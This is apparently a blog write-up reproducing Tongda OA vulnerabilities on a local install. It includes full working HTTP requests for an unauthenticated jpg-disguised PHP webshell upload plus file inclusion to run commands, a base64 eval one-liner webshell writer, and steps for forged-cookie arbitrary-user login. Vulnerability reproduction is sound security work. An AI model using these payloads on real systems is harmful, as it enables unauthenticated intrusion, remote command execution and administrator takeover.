banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

通達OA漏洞復現

通達 OA 介紹#

通達 OA 是北京通達信科科技有限公司出品的 "Office Anywhere 通達網絡智能辦公系統"。

文件上傳 & 文件包含 getshell#

漏洞信息:

3 月 13 日,通達 OA 在官方論壇發布通告稱,近日接到用戶反饋遭到勒索病毒攻擊,提示用戶注意安全風險,並且於同一天對所有版本發布了加固補丁。

在受影響的版本中,攻擊者可以在未認證的情況下向伺服器上傳 jpg 圖片文件,然後包含該文件,造成遠程代碼執行。該漏洞無需登錄即可觸發。

漏洞級別:高危

漏洞影響版本:

  • V11 版
  • 2017 版
  • 2016 版
  • 2015 版
  • 2013 增強版
  • 2013 版

漏洞原理:

該漏洞存在於以下兩個鏈接中:

任意文件上傳漏洞  /ispirit/im/upload.php
本地文件包含漏洞  /ispirit/interface/gateway.php
有些版本gateway.php路徑不同
如2013:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
2017:
/ispirit/im/upload.php
/mac/gateway.Php
本文使用的v11版本路徑為
/ispirit/im/upload.php
/ispirit/interface/gateway.php
訪問任意文件上傳漏洞路徑/ispirit/im/upload.php

通達 OA 使用zend加密,需要使用SeayDzend工具解密。

這個工具同樣出自Seay師傅之手(Seay 源代碼審計系統就是出自這個師傅)。

也可以使用在線加解密網站

比較安裝補丁前後的文件ispirit/im/upload.php如下:

image

可以看出upload.php在修復前如果$P非空就不需要通過auth.php驗證即可執行後續代碼,

利用此處邏輯伸縮可繞過登錄驗證直接上傳文件。

往下走遇到$DEST_UID同樣也可以通過POST的方式自行賦值。

image

接著到了判斷文件的點,此處可以知道文件上傳的變量名為ATTACHMENT

image

繼續跟進upload函數跳轉到文件inc/utility_file.php

這裡對上傳的文件進行了一系列的檢查,包括黑名單等限制。

image

那麼我們上傳jpg格式的php代碼,然後文件包含即可。

漏洞復現:

首先自行下載 11.3安裝包

下載完源碼後全部默認安裝一直下一步,安裝完後訪問localhost或者你本地的ip

登錄界面

在未登錄狀態訪問任意文件上傳漏洞路徑/ispirit/im/upload.php

image

訪問路徑顯示- ERR 用戶未登錄,此時 burp 抓包攔截並修改為如下:

POST /ispirit/im/upload.php HTTP/1.1
Host: 10.103.51.104
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"


------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

------WebKitFormBoundaryBwVAwV3O4sifyhr3--

這裡使用了COM組件wscript.shell來繞過disable_function

image

打開文件夾可以看到未經過登錄驗證成功上傳了 jpg 文件:

image

接下來訪問文件包含利用的鏈接:/ispirit/interface/gateway.php

POSTjson賦值,指定keyurlvalue為文件位置。

修改為如下:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 10.103.51.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

json={"url":"/general/../../attach/im/2009/1066533428.jpg"}&cmd=whoami

image

成功執行命令!也可以把圖片馬的內容改為執行寫入一句話的命令:

<?php
$fp = fopen('test.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);

image

修改文件名發包執行文件包含後,shell被成功寫入:

image

修復建議:

官方通告:https://www.tongda2000.com/news/p673.php

參考文章:

任意前台登錄漏洞#

漏洞信息:

通達 OA 是一套國內常用的辦公系統,其此次安全更新修復的高危漏洞為任意用戶登錄漏洞。攻擊者在遠程且未經授權的情況下,通過利用此漏洞,可以直接以任意用戶身份登錄到系統(包括系統管理員)。

漏洞級別:高危

漏洞影響版本:

  • 通達 OA < 11.5.200417

漏洞原理:

解密工具參照第一部分漏洞原理。

漏洞復現

首先,不登錄界面打開查看cookie

image

使用POC工具TongDaOA-Fake-User獲取鏈接cookie

image

將原來的cookie修改為POC獲取到的cookie

image

訪問/general/index.php即可直接訪問系統:

image

修復建議:

參考文章:

任意用戶登錄漏洞(匿名 RCE)#

漏洞信息:

偽造任意用戶(含管理員)登錄漏洞的觸發點在掃碼登錄功能,服務端只取了 UID 來做用戶身份鑑別,由於 UID 是整型遞增 ID,從而導致可以登錄指定 UID 用戶(admin 的缺省 UID 為 1)。

漏洞級別:高危

漏洞影響版本:

  • 通達 OA v2017、v11.x < v11.5 支持掃碼登錄版本。

漏洞原理:

v11.5更新修復了客戶端掃碼登錄和Web端掃碼登錄接口。

Web 端掃碼登錄流程大致流程分四步:

  • Web 端訪問 /general/login_code.php?codeuid = 隨機字符串 生成一個二維碼,codeuid 作為這個二維碼憑證。

  • Web 端通過循環請求 /general/login_code_check.php,將 codeuid 發送到服務端,判斷是否有人掃了這個二維碼。

  • 移動端掃碼這個二維碼,然後將 codeuid 等數據發送到 /general/login_code_scan.php 服務端進行保存。

  • Web 端通過 login_code_check.php 取得 codeuid 等掃碼數據後(其實取數據這一步已經產生 $_SESSION ["LOGIN_UID"] 登錄了),再通過 Web 端發送到 logincheck_code.php 進行登錄。

Web 端登錄請求腳本如下:

漏洞復現:

POC&EXP工具:https://github.com/zrools/tools/tree/master/python

image

image

修復建議:

參考文章:

任意文件刪除 getshell#

本文完。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。